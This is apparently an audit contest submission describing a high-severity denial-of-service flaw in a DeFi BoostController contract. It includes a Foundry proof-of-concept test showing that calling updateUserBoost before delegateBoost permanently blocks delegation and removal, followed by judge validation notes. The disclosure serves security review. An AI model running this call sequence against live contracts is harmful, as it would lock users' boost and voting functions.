Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`BoostController::updateuserBoost` can block permanently the boost setting for a specific address, completely DoSing the boost system

Summary

The BoostController implements the updateUserBoost() and delegateBoostto handle the pool boost. However, there isn't a mechanism to ensure the order of calls.

According to protocol tests, the order should be delegateBoost()-> updateUserBoost.

Vulnerability Details

The protocol doesn't enforce the order of function executions. So, any user could call updateUserBoostfirst and then delegateBoost(). By doing this, the boost functionality would be locked.

By calling the BoostController::updateUserBoostfirst, the userBoostsmapping will be updated adding the newBoostto the userBoost.amount and the userBoost.lasUpdateTime. But it will not update userBoost.expiryand userBoost.delegateTo. So, it can't be used.

(storage update)[https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/boost/BoostController.sol#L189-L190]

If you try to delegateBoost it will revert because of this check if (delegation.amount > 0) revert BoostAlreadyDelegated();implemented on the BoostController::delegateBoost.

If you try to remove the boost and make adjustments, It will also revert because the BoostController::updateUserBoost doesn't update the userBoost.delegateTo, as mentioned before.

(revert)[https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/boost/BoostController.sol#L242-L245]

Impact

The boost system will be completely DoSed. It cannot update, delegate, or remove any information, making it useless.

function test_boostSystemIsDoSed() external {
//Mock values needed
address receiver = address(1);
uint256 boostAmountToBeMinted = 100_000 *10**18;
uint256 timeLock = 365 days;
uint256 duration = 7 days;
//Whitelist the pool
vm.prank(s_admin);
s_boostController.modifySupportedPool(address(receiver), true);
//Mint RAACTokens to lock
vm.prank(s_admin);
s_raacToken.mint(s_user01, boostAmountToBeMinted);
//Lock veRAACToken to delegate boost
vm.startPrank(s_user01);
s_raacToken.approve(address(s_veToken), boostAmountToBeMinted);
s_veToken.lock(boostAmountToBeMinted, timeLock);
//Get total veToken received
uint256 veTokenBalance = s_veToken.balanceOf(s_user01);
//Calls update first to block protocol
s_boostController.updateUserBoost(s_user01, receiver);
vm.stopPrank();
//delegate first
vm.prank(s_user01);
vm.expectRevert();
s_boostController.delegateBoost(receiver, veTokenBalance, duration);
//check if delegation works
(
uint256 amount,
uint256 expiry,
address delegateTo,
uint256 lastUpdateTime
) = s_boostController.getUserBoost(s_user01, receiver);
//Check if it was stored on the `poolBoosts` mapping
assertEq(s_boostController.MAX_BOOST(), amount);
// assertEq(expiry, block.timestamp + duration);
// assertEq(delegateTo, receiver);
assertEq(lastUpdateTime, block.timestamp);
//uncomment it to revert
//Check PoolBoost
(
uint256 totalBoost,
uint256 workingSupply,
uint256 baseSupply,
) = s_boostController.getPoolBoost(receiver);
//Check values
console.log("Total Boost:", totalBoost);
assertGt(totalBoost, 0);
console.log("Working Supply:", workingSupply);
assertGt(workingSupply, 0);
console.log("Base Supply", baseSupply);
//Uncomment to revert
// assertGt(baseSupply, 0);
//Time travel
vm.warp(block.timestamp + 8 days);
//Revert because the `delegateTo` was not set.
vm.prank(receiver);
vm.expectRevert();
s_boostController.removeBoostDelegation(s_user01);
}

Tools Used

Code Review

Recommendations

Ensure BoostController::updateUserBoostcan be called only after a delegation happens.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController permits calling updateUserBoost before delegation, creating unrecoverable deadlock where users cannot delegate or remove delegations, permanently disabling boost functionality

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController permits calling updateUserBoost before delegation, creating unrecoverable deadlock where users cannot delegate or remove delegations, permanently disabling boost functionality

Appeal created

anonymousjoe Auditor
4 months ago
anonymousjoe Auditor
4 months ago
inallhonesty Lead Judge
4 months ago
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost lacks caller validation, allowing anyone to force delegation of any user's boost to any pool without consent, hijacking voting power

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.